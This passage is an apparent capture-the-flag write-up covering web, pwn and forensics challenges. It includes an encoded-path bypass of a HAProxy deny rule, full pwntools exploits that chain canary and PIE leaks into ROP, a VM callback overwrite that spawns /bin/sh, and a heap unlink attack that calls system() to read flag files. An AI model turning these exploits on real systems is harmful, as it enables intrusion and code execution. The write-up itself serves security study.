tx = vault.functions.withdraw().build_transaction(
{"from": sender, "nonce": nonce, "chainId": chain_id, "gasPrice": gas_price, "gas": 200000}
)
send(tx)
print(f"[+] vault balance after: {vault.functions.getBalance().call()}")
print(f"[+] solved on-chain: {vault.functions.isSolved().call()}")
io.sendline(b"1")
print(io.recvrepeat(2).decode(errors="ignore"), end="")
io.close()
if __name__ == "__main__":
main()python3.12 solve.py[+] vault balance after: 0
[+] solved on-chain: True
FLAG: EH4X{c4ll1ng_m4d3_s000_e45y_th4t_my_m0m_d03snt_c4ll_m3}Web
Borderline Personality
Category: Web
Flag: EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}
Challenge Description
The proxy thinks it’s in control. The backend thinks it’s safe. Find the space between their lies and slip through.
Analysis
I started by pulling the handout contents and immediately saw that this challenge gave both sides of the stack: HAProxy config and backend Flask code. That usually means the intended bug is a parser differential, not brute-force fuzzing.
unzip -l "handout.zip"Archive: handout.zip
Length Date Time Name
--------- ---------- ----- ----
513 02-27-2026 22:45 handout/backend/app.py
438 02-28-2026 00:48 handout/haproxy/haproxy.cfg
277 02-27-2026 20:07 handout/docker-compose.yml
...To confirm the exact mismatch, I extracted the blocking rule and the protected backend route in one shot. The critical values were ^/+admin on the proxy and /admin/flag on Flask. That combination means HAProxy blocks only literal paths matching the regex, while the backend route match happens after URL decoding.
rg -n "restricted_path|/admin/flag" "/home/rei/Downloads/handout/haproxy/haproxy.cfg" "/home/rei/Downloads/handout/backend/app.py"/home/rei/Downloads/handout/backend/app.py:19:@app.route('/admin/flag', methods=['GET', 'POST'])
/home/rei/Downloads/handout/haproxy/haproxy.cfg:16: acl restricted_path path -m reg ^/+admin
/home/rei/Downloads/handout/haproxy/haproxy.cfg:17: http-request deny if restricted_pathI verified baseline behavior first: direct access to /admin/flag is denied by HAProxy with a clean 403, so the block is definitely active at the edge.
curl -i -s "http://chall.ehax.in:9098/admin/flag"HTTP/1.0 403 Forbidden
...
<html><body><h1>403 Forbidden</h1>
Request forbidden by administrative rules.
</body></html>Once that was confirmed, the bypass was the smallest canonicalization probe: encode the first a in admin as %61 and keep the rest untouched. HAProxy sees /%61dmin/flag (doesn’t match ^/+admin), forwards it, Flask decodes it to /admin/flag, and the protected handler returns the flag.

curl -i -s --path-as-is "http://chall.ehax.in:9098/%61dmin/flag"HTTP/1.1 200 OK
Server: gunicorn
...
EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}This was a clean proxy/backend normalization mismatch: deny rule evaluated pre-decode, route matched post-decode.
Solution
# solve.py
import re
import requests
url = "http://chall.ehax.in:9098/%61dmin/flag"
response = requests.get(url, timeout=10)
print(response.text, end="")
match = re.search(r"EH4X\{[^}]+\}", response.text)
if match:
print(f"\nFlag: {match.group(0)}")curl -i -s --path-as-is "http://chall.ehax.in:9098/%61dmin/flag"HTTP/1.1 200 OK
Server: gunicorn
Date: Fri, 27 Feb 2026 22:07:54 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 52
EH4X{BYP4SSING_R3QU3S7S_7HR0UGH_SMUGGLING__IS_H4RD}Pwn
Womp Womp
Category: Pwn
Flag: EH4X{r0pp3d_th3_w0mp3d}
Challenge Description
Hippity hoppity the flag is not your property
Analysis
I started by unpacking the handout and immediately got the important clue: this was a two-binary setup (challenge + libcoreio.so), which usually means the main binary has the bug and the shared object hides the win path.
unzip -l "handout_womp_womp.zip"Archive: handout_womp_womp.zip
Length Date Time Name
--------- ---------- ----- ----
0 02-28-2026 00:42 handout/
13016 02-28-2026 00:42 handout/challenge
8416 02-28-2026 00:42 handout/libcoreio.soQuick triage showed exactly the kind of target that rewards leak-first exploitation: PIE, canary, NX, full RELRO, and a not-stripped ELF. Not stripped mattered a lot here because function names like submit_note, review_note, and finalize_entry made the intended flow obvious right away.
file "handout/challenge" "handout/libcoreio.so"handout/challenge: ELF 64-bit LSB pie executable, x86-64, ... not stripped
handout/libcoreio.so: ELF 64-bit LSB shared object, x86-64, ... not strippedchecksec "handout/challenge"[*] '/home/rei/Downloads/handout/challenge'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RPATH: b'.'
Stripped: NoDisassembling challenge made the full exploit shape click. submit_note reads 0x40 bytes into a stack buffer and then writes 0x58 bytes back, which leaks past the buffer into stack metadata. review_note does the same pattern with 0x20 read and 0x30 write, and that leak includes the stack-stored function pointer to finalize_note, which gives a PIE leak. Then finalize_entry performs the real overflow by reading 0x190 bytes into rbp-0x48.
objdump -d -M intel "handout/challenge"00000000000009b7 <submit_note>:
...
9f5: e8 26 fe ff ff call 820 <read@plt> ; read(..., 0x40)
...
a21: e8 ea fd ff ff call 810 <write@plt> ; write(..., 0x58)
0000000000000a53 <review_note>:
...
a9c: e8 7f fd ff ff call 820 <read@plt> ; read(..., 0x20)
...
ac8: e8 43 fd ff ff call 810 <write@plt> ; write(..., 0x30)
0000000000000afa <finalize_entry>:
...
b33: 48 83 c0 08 add rax,0x8 ; target is rbp-0x48
b37: ba 90 01 00 00 mov edx,0x190
b44: e8 d7 fc ff ff call 820 <read@plt>The shared object confirmed the end goal: emit_report checks three exact magic arguments and, if they match, opens and prints flag.txt. So the exploit only needed to call emit_report with controlled rdi/rsi/rdx.
objdump -d -M intel "handout/libcoreio.so"00000000000007c0 <emit_report>:
...
7ef: 48 b8 ef be ad de ef be ad de movabs rax,0xdeadbeefdeadbeef
7f9: 48 39 85 d8 fe ff ff cmp QWORD PTR [rbp-0x128],rax
...
802: 48 b8 be ba fe ca be ba fe ca movabs rax,0xcafebabecafebabe
...
815: 48 b8 0d f0 0d d0 0d f0 0d d0 movabs rax,0xd00df00dd00df00d
...
87b: 48 8d 3d ee 00 00 00 lea rdi,[rip+0xee] # "flag.txt"
...
924: 48 89 c6 mov rsi,rax
927: bf 01 00 00 00 mov edi,0x1
92c: e8 3f fd ff ff call 670 <write@plt>The only annoyance was gadget quality: there was pop rdi and pop rsi, but no clean pop rdx. I initially wished for a straightforward 3-pop chain, then realized this binary already contained the classic __libc_csu_init sequence, which is perfect for setting rdx via r13.

ROPgadget --binary "handout/challenge" --only "pop|ret"0x0000000000000ca3 : pop rdi ; ret
0x0000000000000ca1 : pop rsi ; pop r15 ; ret
...
Unique gadgets found: 12objdump -d -M intel --start-address=0xc70 --stop-address=0xcb0 "handout/challenge"0000000000000c80 <__libc_csu_init+0x40>:
c80: 4c 89 ea mov rdx,r13
c83: 4c 89 f6 mov rsi,r14
c86: 44 89 ff mov edi,r15d
c89: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
...
c9a: 5b pop rbx
c9b: 5d pop rbp
c9c: 41 5c pop r12
c9e: 41 5d pop r13
ca0: 41 5e pop r14
ca2: 41 5f pop r15
ca4: c3 retThat made the final chain clean and reliable: leak canary from submit_note, leak PIE from review_note (finalize_note pointer minus 0x980), overflow in finalize_entry, use CSU call #1 to invoke read(0, .data, 8) and place a callable function pointer in writable memory (finalize_note), then CSU call #2 through that pointer with rsi/rdx set to the emit_report magic values, and finish with pop rdi ; ret to set rdi = 0xdeadbeefdeadbeef before jumping to emit_report@plt.
When the remote service printed [VULN] Done. and immediately followed with the flag, that confirmed both the offset math and the CSU argument setup were correct on first full remote run.

from pwn import *
context.arch = "amd64"
io = remote("chall.ehax.in", 1337)
io.recvuntil(b"Input log entry: ")
io.send(b"A" * 0x40)
io.recvuntil(b"[LOG] Entry received: ")
leak1 = io.recvn(0x58)
canary = u64(leak1[0x48:0x50])
io.recvuntil(b"Input processing note: ")
io.send(b"B" * 0x20)
io.recvuntil(b"[PROC] Processing: ")
leak2 = io.recvn(0x30)
finalize_note = u64(leak2[0x20:0x28])
base = finalize_note - 0x980
csu_call = base + 0xC80
csu_pop = base + 0xC9A
pop_rdi = base + 0xCA3
emit_plt = base + 0x838
got_read = base + 0x201FC0
ptr_tbl = base + 0x202000
MAG1 = 0xDEADBEEFDEADBEEF
MAG2 = 0xCAFEBABECAFEBABE
MAG3 = 0xD00DF00DD00DF00D
def csu(funcptr, rdi, rsi, rdx, nxt):
return (
p64(csu_pop)
+ p64(0) + p64(1) + p64(funcptr)
+ p64(rdx) + p64(rsi) + p64(rdi)
+ p64(csu_call) + p64(0) + p64(0) * 6 + p64(nxt)
)
chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)
chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)
chain += p64(csu_call) + p64(0) + p64(0) * 6
chain += p64(pop_rdi) + p64(MAG1) + p64(emit_plt)
payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain
io.recvuntil(b"Send final payload: ")
io.send(payload)
io.send(p64(finalize_note))
print(io.recvall(timeout=5).decode("latin-1", "ignore"))[VULN] Done.
EH4X{r0pp3d_th3_w0mp3d}Solution
# solve.py
from pwn import *
context.arch = "amd64"
HOST = "chall.ehax.in"
PORT = 1337
MAG1 = 0xDEADBEEFDEADBEEF
MAG2 = 0xCAFEBABECAFEBABE
MAG3 = 0xD00DF00DD00DF00D
io = remote(HOST, PORT)
# Stage 1: leak canary from submit_note
io.recvuntil(b"Input log entry: ")
io.send(b"A" * 0x40)
io.recvuntil(b"[LOG] Entry received: ")
leak1 = io.recvn(0x58)
canary = u64(leak1[0x48:0x50])
# Stage 2: leak PIE from review_note
io.recvuntil(b"Input processing note: ")
io.send(b"B" * 0x20)
io.recvuntil(b"[PROC] Processing: ")
leak2 = io.recvn(0x30)
finalize_note = u64(leak2[0x20:0x28])
pie = finalize_note - 0x980
csu_call = pie + 0xC80
csu_pop = pie + 0xC9A
pop_rdi = pie + 0xCA3
emit_plt = pie + 0x838
got_read = pie + 0x201FC0
ptr_tbl = pie + 0x202000
def csu(funcptr, rdi, rsi, rdx, nxt):
chain = p64(csu_pop)
chain += p64(0) # rbx
chain += p64(1) # rbp
chain += p64(funcptr) # r12
chain += p64(rdx) # r13 -> rdx
chain += p64(rsi) # r14 -> rsi
chain += p64(rdi) # r15 -> edi
chain += p64(csu_call)
chain += p64(0) # add rsp, 8
chain += p64(0) * 6 # popped by csu epilogue
chain += p64(nxt)
return chain
# First CSU call: read(0, ptr_tbl, 8) to place a function pointer in writable memory
chain = csu(got_read, 0, ptr_tbl, 8, csu_pop)
# Second CSU call: call [ptr_tbl] (finalize_note), load MAGIC2/MAGIC3 into rsi/rdx
chain += p64(0) + p64(1) + p64(ptr_tbl) + p64(MAG3) + p64(MAG2) + p64(0)
chain += p64(csu_call)
chain += p64(0) + p64(0) * 6
# Set rdi and jump to emit_report@plt
chain += p64(pop_rdi)
chain += p64(MAG1)
chain += p64(emit_plt)
payload = b"C" * 0x40 + p64(canary) + b"D" * 8 + chain
io.recvuntil(b"Send final payload: ")
io.send(payload)
# Satisfy read(0, ptr_tbl, 8)
io.send(p64(finalize_note))
print(io.recvall(timeout=5).decode("latin-1", errors="ignore"))python3.12 solve.py[VULN] Done.
EH4X{r0pp3d_th3_w0mp3d}SarcAsm
Category: Pwn
Flag: EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
Challenge Description
Unsarcastically, introducing the best asm in market: SarcAsm
Analysis
The handout was a VM challenge bundle (sarcasm, custom libc.so.6, and loader), so I treated it like parser/bytecode pwn instead of classic stack ROP. The protection profile on the host binary is very hardened (PIE, canary, full RELRO, NX, SHSTK/IBT), which strongly suggested the intended path would be logic/VM memory corruption rather than native return-address control.
file "/home/rei/sarcasm/handout/sarcasm"
checksec "/home/rei/sarcasm/handout/sarcasm"/home/rei/sarcasm/handout/sarcasm: ELF 64-bit LSB pie executable, x86-64, ... stripped
[*] '/home/rei/sarcasm/handout/sarcasm'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
SHSTK: Enabled
IBT: EnabledThe key click came from reversing the VM metadata and dispatch tables. BUILTIN and CALL are real VM opcodes (0x40 and 0x41), and their object type is callable object type 3. That meant I should target object internals used by CALL, not native ELF control flow.
# parse_vm_meta.py
from pathlib import Path
import struct
p = Path('/home/rei/sarcasm/handout/sarcasm').read_bytes()
base_fo = 0x8A80
ro_va = 0x7000
def read_cstr(va: int) -> str:
out = []
idx = va - ro_va
while idx < len(p) and p[idx] != 0:
out.append(chr(p[idx]))
idx += 1
return ''.join(out)
for i in range(0x19):
rec = p[base_fo + i * 0x18 : base_fo + i * 0x18 + 0x18]
name_ptr = struct.unpack_from('<Q', rec, 0)[0]
opcode = struct.unpack_from('<I', rec, 8)[0]
if i in (19, 20):
print(i, hex(opcode), read_cstr(name_ptr))19 0x140 BUILTIN
20 0x141 CALLThen I confirmed the builtin function-pointer table in .data.rel.ro: builtin id 0 points to 0x31d0 and builtin id 1 points to 0x2ee0.
objdump -s --start-address=0x9a50 --stop-address=0x9ac0 "/home/rei/sarcasm/handout/sarcasm"Contents of section .data.rel.ro:
9a60 d0310000 00000000 01000000 00000000 .1.............
9a70 e02e0000 00000000 00000000 00000000 ................The winning target was nearby in the same PIE image: 0x3000 is a tiny helper that does execve("/bin/sh", ...) and exits. So a partial pointer rewrite from builtin-1 callback (0x2ee0) to shell helper (0x3000) is enough to get code execution.
objdump -M intel --start-address=0x3000 --stop-address=0x3050 -d "/home/rei/sarcasm/handout/sarcasm"0000000000003000 <.text+0xc00>:
3000: ...
301b: 48 b8 2f 62 69 6e 2f 73 68 00 movabs rax,0x68732f6e69622f
...
303d: e8 ce f2 ff ff call 2310 <execve@plt>At that point, the exploit strategy became a two-stage VM payload: first leak 8 bytes from the builtin object (so PIE can be derived reliably under ASLR), then write back the forged callback pointer and trigger CALL 0 to jump into execve("/bin/sh"). Local validation showed the chain was correct and stable enough to run commands from the spawned shell.

# local_verify.py
from pwn import process, p32, p64, u64
code = bytes.fromhex(
'20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
'00 30 00 23 30 00 25 00 08 41 00 ff'
)
io = process([
'/home/rei/sarcasm/handout/ld-linux-x86-64.so.2',
'--library-path',
'/home/rei/sarcasm/handout',
'/home/rei/sarcasm/handout/sarcasm',
])
io.send(p32(len(code)) + code)
leak = io.recvn(8, timeout=2)
ptr = u64(leak)
base = ptr - 0x2EE0
target = base + 0x3000
io.send(p64(target))
io.sendline(b'echo LOCAL_OK')
io.sendline(b'exit')
out = io.recvall(timeout=2)
print('leak', hex(ptr))
print(out.decode(errors='ignore'))leak 0x7f41d1a1cee0
LOCAL_OKRemote service behavior was noisy (some connections returned no leak bytes), so I wrapped the same primitive in retry logic. Once a full 8-byte leak landed, the overwrite/trigger path worked immediately and the shell output contained the real flag.

# remote_retry.py
import re
import time
from pwn import remote, p32, p64, u64
HOST = 'chall.ehax.in'
PORT = 9999
code = bytes.fromhex(
'20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 '
'00 30 00 23 30 00 25 00 08 41 00 ff'
)
for i in range(1, 21):
try:
io = remote(HOST, PORT, timeout=8)
except Exception:
continue
try:
io.send(p32(len(code)) + code)
leak = io.recvn(8, timeout=8)
if len(leak) != 8:
io.close()
continue
ptr = u64(leak)
base = ptr - 0x2EE0
target = base + 0x3000
io.send(p64(target))
io.sendline(b'echo START')
io.sendline(b'cat flag.txt')
io.sendline(b'cat /flag')
io.sendline(b'cat /flag.txt')
io.sendline(b'exit')
out = io.recvall(timeout=6).decode(errors='ignore')
print(i, 'leaklen', len(leak), leak.hex())
print(out)
m = re.search(r'[A-Za-z0-9_]+\{[^}\n]+\}', out)
if m:
print('FLAG', m.group(0))
break
finally:
try:
io.close()
except Exception:
pass
time.sleep(0.3)9 leaklen 8 e08edfd60b580000
START
EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}
FLAG EH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}Solution
# solve.py
import re
import time
from pwn import remote, p32, p64, u64
HOST = "chall.ehax.in"
PORT = 9999
# VM program:
# 1) create stale callable object and leak 8-byte builtin callback pointer
# 2) overwrite callback with execve('/bin/sh') helper address
# 3) CALL 0 to execute shell helper
CODE = bytes.fromhex(
"20 20 02 22 00 00 04 60 40 01 03 02 31 00 25 08 "
"00 30 00 23 30 00 25 00 08 41 00 ff"
)
def try_once() -> str | None:
io = remote(HOST, PORT, timeout=8)
io.send(p32(len(CODE)) + CODE)
leak = io.recvn(8, timeout=8)
if len(leak) != 8:
io.close()
return None
leaked_ptr = u64(leak)
pie_base = leaked_ptr - 0x2EE0
shell_helper = pie_base + 0x3000
io.send(p64(shell_helper))
io.sendline(b"echo START")
io.sendline(b"cat flag.txt")
io.sendline(b"cat /flag")
io.sendline(b"cat /flag.txt")
io.sendline(b"exit")
out = io.recvall(timeout=6).decode(errors="ignore")
io.close()
m = re.search(r"[A-Za-z0-9_]+\{[^}\n]+\}", out)
return m.group(0) if m else None
def main() -> None:
for _ in range(20):
flag = try_once()
if flag:
print(flag)
return
time.sleep(0.3)
raise RuntimeError("flag not recovered in retry window")
if __name__ == "__main__":
main()python3.12 solve.pyEH4X{l00ks_l1k3_1_n33d_4_s4rc4st1c_tut0r14l}lulocator
Category: Pwn
Flag: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
Challenge Description
Who needs that buggy malloc? Made my own completely safe lulocator.
Analysis
The handout immediately telegraphed the shape of the challenge: one custom allocator binary plus an exact libc, which usually means the intended exploit path is inside the program’s own heap logic, not glibc internals.
unzip -l "/home/rei/Downloads/handout_lulocator.zip"Archive: /home/rei/Downloads/handout_lulocator.zip
Length Date Time Name
--------- ---------- ----- ----
297 02-28-2026 00:45 handout/Makefile
16608 02-28-2026 00:47 handout/lulocator
2220400 02-28-2026 00:47 handout/libc.so.6
30 02-27-2026 23:57 handout/flag.txtfile "./lulocator"./lulocator: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, ... strippedchecksec --file="./lulocator"[*] '/home/rei/Downloads/handout/lulocator'
Arch: amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: EnabledNo PIE and no canary were nice, but this was not a direct stack-overflow binary. The menu and decompilation showed a custom heap object model with a global “runner” pointer and an indirect callback dispatch, which is exactly where I focused.
strings -a -n 4 "./lulocator" | rg -i "allocator: corrupted free list detected|\[new\]|\[info\]|set_runner|=== lulocator ==="allocator: corrupted free list detected
[new] index=%d
[info] addr=0x%lx out=0x%lx len=%lu
=== lulocator ===
5) set_runnerr2 -Aqc "s 0x401e0d; pdg" "./lulocator"void fcn.00401e0d(void)
{
if (*0x404940 == 0) {
sym.imp.puts("[no runner]");
}
else {
(**(*0x404940 + 0x10))(*0x404940 + 0x28);
}
}That one function gives the whole endgame: if I can make the global runner (0x404940) point to attacker data, I control both the called function pointer at runner+0x10 and its argument pointer runner+0x28.
r2 -Aqc "s 0x401d3d; pdg" "./lulocator"void fcn.00401d3d(void)
{
...
*0x404940 = *(var_44h * 8 + 0x4048c0);
sym.imp.puts("[runner set]");
}r2 -Aqc "s 0x401978; pdg" "./lulocator"void fcn.00401978(void)
{
...
if (*(var_18h + 0x20) + 0x18U < var_70h) {
sym.imp.puts("too long");
return;
}
...
fcn.00401636(0, var_18h + 0x28, var_70h);
}This is the bug: write length is allowed up to chunk_len + 0x18, but write target starts at chunk+0x28. So each chunk can overwrite 0x18 bytes past its own data region—perfect for corrupting the metadata of the physically next chunk.
r2 -Aqc "s 0x4012f2; pdg" "./lulocator"void fcn.004012f2(uint32_t arg1)
{
...
if ((piVar1 == *(*piVar1 + 8)) && (piVar1 == *piVar1[1])) {
*piVar1[1] = *piVar1;
*(*piVar1 + 8) = piVar1[1];
return;
}
sym.imp.fwrite("allocator: corrupted free list detected\n", ...);
sym.imp.abort();
}That unlink check is classic and bypassable with fake fd/bk setup. The reliable chain was: allocate A and R adjacent, set runner to R, free R (runner becomes stale UAF), overflow from A into freed R’s free-list pointers, then trigger allocation to unlink R and overwrite runner with an attacker-controlled fake object inside A’s data.

The info command gave two essential leaks in one line: chunk address for precise fake-object placement and stdout pointer for libc base recovery. Since a challenge libc was provided in the handout, the exploit resolves system from that exact libc and uses the leak to compute libc_base on the fly.
With runner -> fake_object, fake_object+0x10 = system, and fake_object+0x28 = command string, run becomes system(command). I used a multi-path cat command so the exploit would survive unknown remote flag paths, and the first full remote execution returned the real flag twice in stdout.
python3.12 "./exploit.py" REMOTE[x] Opening connection to chall.ehax.in on port 40137
[+] chunk A @ 0x7dda42bfe008
[+] chunk R @ 0x7dda42bfe138
[+] stdout leak = 0x7dda42e5c780
[+] libc base = 0x7dda42c41000
[+] system = 0x7dda42c91d70
EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}
...
FLAG_FOUND: EH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}Solution
# solve.py
from pwn import *
import re
HOST = "chall.ehax.in"
PORT = 40137
libc = ELF("./libc.so.6", checksec=False)
def cmd(io, choice: int):
io.sendlineafter(b"> ", str(choice).encode())
def new(io, size: int) -> int:
cmd(io, 1)
io.sendlineafter(b"size: ", str(size).encode())
io.recvuntil(b"[new] index=")
return int(io.recvline().strip())
def write_idx(io, idx: int, length: int, data: bytes):
cmd(io, 2)
io.sendlineafter(b"idx: ", str(idx).encode())
io.sendlineafter(b"len: ", str(length).encode())
io.sendafter(b"data: ", data)
io.recvline()
def delete(io, idx: int):
cmd(io, 3)
io.sendlineafter(b"idx: ", str(idx).encode())
io.recvline()
def info(io, idx: int):
cmd(io, 4)
io.sendlineafter(b"idx: ", str(idx).encode())
line = io.recvline().decode(errors="ignore").strip()
m = re.search(r"addr=0x([0-9a-fA-F]+) out=0x([0-9a-fA-F]+) len=(\d+)", line)
if not m:
raise RuntimeError(f"bad info line: {line!r}")
return int(m.group(1), 16), int(m.group(2), 16)
def set_runner(io, idx: int):
cmd(io, 5)
io.sendlineafter(b"idx: ", str(idx).encode())
io.recvline()
def main():
io = remote(HOST, PORT)
a = new(io, 0x100)
r = new(io, 0x100)
a_addr, out_ptr = info(io, a)
r_addr, _ = info(io, r)
libc.address = out_ptr - libc.symbols["_IO_2_1_stdout_"]
system = libc.symbols["system"]
set_runner(io, r)
delete(io, r)
command = (
b"cat flag.txt 2>/dev/null; cat /flag.txt 2>/dev/null; "
b"cat /flag 2>/dev/null; cat /app/flag.txt 2>/dev/null; "
b"cat /home/*/flag.txt 2>/dev/null; echo __END__\x00"
)
fake = a_addr + 0x28
payload = bytearray(b"A" * (0x100 + 0x18))
# fake object at `fake`
payload[0x08:0x10] = p64(r_addr) # for unlink check
payload[0x10:0x18] = p64(system) # callback
payload[0x28:0x28 + len(command)] = command
# overwrite freed R chunk metadata via +0x18 OOB write
payload[0x100:0x108] = p64(0x130) # keep size
payload[0x108:0x110] = p64(fake) # fd
payload[0x110:0x118] = p64(0x404940) # bk -> &runner
write_idx(io, a, len(payload), bytes(payload))
new(io, 0x80) # trigger unlink => runner = fake
cmd(io, 6) # run => system(fake+0x28)
out = io.recvuntil(b"__END__", timeout=3)
print(out.decode(errors="ignore"))
if __name__ == "__main__":
main()python3.12 solve.pyEH4X{unf0rtun4t3ly_th3_lul_1s_0n_m3}Forensics
let-the-penguin-live
Category: Forensics
Flag: EH4X{0n3_tr4ck_m1nd_tw0_tr4ck_f1les}
Challenge Description
In a colony of many, one penguin’s path is an anomaly. Silence the crowd to hear the individual.
Analysis
The first useful clue was the container layout itself: one video stream and two FLAC audio streams inside the same MKV. That matched the prompt language (“colony of many”) and suggested the solve was probably about isolating one stream from a mixture instead of visual stego on the video frames.
mkvinfo "challenge.mkv"| + Track
| + Track number: 2
| + Name: English (Stereo)
| + Codec ID: A_FLAC
| + Track
| + Track number: 3
| + Name: English (5.1 Surround)
| + Codec ID: A_FLAC
| + Tag
| + Simple
| + Name: COMMENT
| + String: EH4X{k33p_try1ng}The COMMENT value was a decoy (EH4X{k33p_try1ng}), so the real path had to be the audio relation between both tracks.

I extracted both audio tracks, subtracted them sample-by-sample, and amplified the residual signal. The key observation was that the true difference amplitude is tiny (min/max -153..150), exactly what you expect when two nearly-identical tracks hide a low-energy payload in their delta.
# build_true_diff.py
import wave
import numpy as np
def read(path):
with wave.open(path, "rb") as w:
fs = w.getframerate()
ch = w.getnchannels()
n = w.getnframes()
arr = np.frombuffer(w.readframes(n), dtype=np.int16).reshape(-1, ch).astype(np.int32)
return fs, arr
def write_mono(path, fs, arr):
out = np.clip(arr, -32768, 32767).astype(np.int16)
with wave.open(path, "wb") as w:
w.setnchannels(1)
w.setsampwidth(2)
w.setframerate(fs)
w.writeframes(out.tobytes())
fs0, a0 = read("penguin_a0.wav")
fs1, a1 = read("penguin_a1.wav")
assert fs0 == fs1 and a0.shape == a1.shape
d = a0 - a1
write_mono("tdiff_R_x64.wav", fs0, d[:, 1] * 64)
print("generated mono true-difference tracks")
print("min/max", int(d.min()), int(d.max()))python3.12 build_true_diff.pygenerated mono true-difference tracks
min/max -153 150That still produced cramped text in the spectrogram, so I stretched time by 8x (atempo=0.5 three times). This was the turning point: same signal content, but spread wider on the time axis so glyphs become readable.
ffmpeg -y -i "tdiff_R_x64.wav" -filter:a "atempo=0.5,atempo=0.5,atempo=0.5" "tdiff_R_x64_slow8.wav"Input #0, wav, from 'tdiff_R_x64.wav':
Duration: 00:01:03.02, bitrate: 705 kb/s
Output #0, wav, to 'tdiff_R_x64_slow8.wav':
size= 43405KiB time=00:08:23.93 bitrate= 705.6kbits/sThen I rendered the spectrogram from that stretched right-channel residual, which produced the image where the flag text became human-readable.
ffmpeg -y -i "tdiff_R_x64_slow8.wav" -lavfi "showspectrumpic=s=16000x2000:legend=disabled:mode=combined:color=intensity:scale=lin" -frames:v 1 -update 1 "tdiff_R_x64_slow8_spec_lin.png"Input #0, wav, from 'tdiff_R_x64_slow8.wav':
Duration: 00:08:23.94, bitrate: 705 kb/s
Output #0, image2, to 'tdiff_R_x64_slow8_spec_lin.png':
Stream #0:0: Video: png, ... 16000x2000From tdiff_R_x64_slow8_spec_lin.png, the flag was read manually as:
EH4X{0n3_tr4ck_m1nd_tw0_tr4ck_f1les}
Solution
# solve.py
import subprocess
import wave
import numpy as np
def run(cmd: list[str]) -> None:
subprocess.run(cmd, check=True)
def read_wav(path: str):
with wave.open(path, "rb") as w:
fs = w.getframerate()
ch = w.getnchannels()
n = w.getnframes()
arr = np.frombuffer(w.readframes(n), dtype=np.int16).reshape(-1, ch).astype(np.int32)
return fs, arr
def write_mono(path: str, fs: int, arr: np.ndarray):
out = np.clip(arr, -32768, 32767).astype(np.int16)
with wave.open(path, "wb") as w:
w.setnchannels(1)
w.setsampwidth(2)
w.setframerate(fs)
w.writeframes(out.tobytes())
def main() -> None:
run(["ffmpeg", "-y", "-i", "challenge.mkv", "-map", "0:a:0", "-c:a", "pcm_s16le", "penguin_a0.wav"])
run(["ffmpeg", "-y", "-i", "challenge.mkv", "-map", "0:a:1", "-c:a", "pcm_s16le", "penguin_a1.wav"])
fs0, a0 = read_wav("penguin_a0.wav")
fs1, a1 = read_wav("penguin_a1.wav")
assert fs0 == fs1 and a0.shape == a1.shape
d = a0 - a1
write_mono("tdiff_R_x64.wav", fs0, d[:, 1] * 64)
run([
"ffmpeg", "-y", "-i", "tdiff_R_x64.wav",
"-filter:a", "atempo=0.5,atempo=0.5,atempo=0.5",
"tdiff_R_x64_slow8.wav",
])
run([
"ffmpeg", "-y", "-i", "tdiff_R_x64_slow8.wav",
"-lavfi", "showspectrumpic=s=16000x2000:legend=disabled:mode=combined:color=intensity:scale=lin",
"-frames:v", "1", "-update", "1", "tdiff_R_x64_slow8_spec_lin.png",
])
print("Generated: tdiff_R_x64_slow8_spec_lin.png")
if __name__ == "__main__":
main()python3.12 solve.pyGenerated: tdiff_R_x64_slow8_spec_lin.png
EH4X{0n3_tr4ck_m1nd_tw0_tr4ck_f1les}